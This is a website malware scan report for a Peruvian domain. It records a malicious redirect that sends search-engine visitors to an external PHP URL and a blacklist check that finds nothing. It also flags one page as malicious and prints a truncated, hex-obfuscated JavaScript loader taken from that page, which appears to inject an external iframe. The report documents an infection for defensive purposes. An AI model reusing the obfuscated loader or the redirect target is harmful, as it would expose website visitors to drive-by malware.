Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://grupoabril.com.pe/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: grupoabril.com.pe Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 21 Jun 2014 15:52:07 GMT Location: http://dentcorp.co.uk/serv/esd.php Server: Apache Content-Length: 242 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://grupoabril.com.pe/ | 200 OK Content-Length: 375 Content-Type: text/html | clean |
http://grupoabril.com.pe/cgi-bin/ | 403 Forbidden Content-Length: 329 Content-Type: text/html | clean |
http://grupoabril.com.pe/test404page.js | 404 Not Found Content-Length: 331 Content-Type: text/html | clean |
http://grupoabril.com.pe/googled80bfa796d942d5f.html | 200 OK Content-Length: 53 Content-Type: text/html | clean |
http://grupoabril.com.pe/images/ | 200 OK Content-Length: 216 Content-Type: text/html | clean |
http://grupoabril.com.pe/postinfo.html | 200 OK Content-Length: 7308 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) zq=4;a=("27,6d,7c,75,6a,7b,70,76,75,27,78,68,72,37,40,2f,30,27,82,14,11,27,7d,68,79,27,7a,7b,68,7b,70,6a,44,2e,68,71,68,7f,2e,42,14,11,27,7d,68,79,27,6a,76,75,7b,79,76,73,73,6c,79,44,2e,70,75,6b,6c,7f,35,77,6f,77,2e,42,14,11,27,7d,68,79,27,78,68,72,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,79,6c,68,7b,6c,4c,73,6c,74,6c,75,7b,2f,2e,70,6d,79,68,74,6c,2e,30,42,14,11,14,11,27,78,68,72,35,7a,79,6a,27,44,27,2e,6f,7b,7b,77,41,36,36,72,6c,7a,72,70,75,7b,79,68,72,7b,76,79,35,6a,76,74,36,71,7a,36,77,6a,61,7e Antivirus reports:
|
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=grupoabril.com.pe
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://grupoabril.com.pe/
Result: grupoabril.com.pe is not infected or malware details are not published yet.
Result: grupoabril.com.pe is not infected or malware details are not published yet.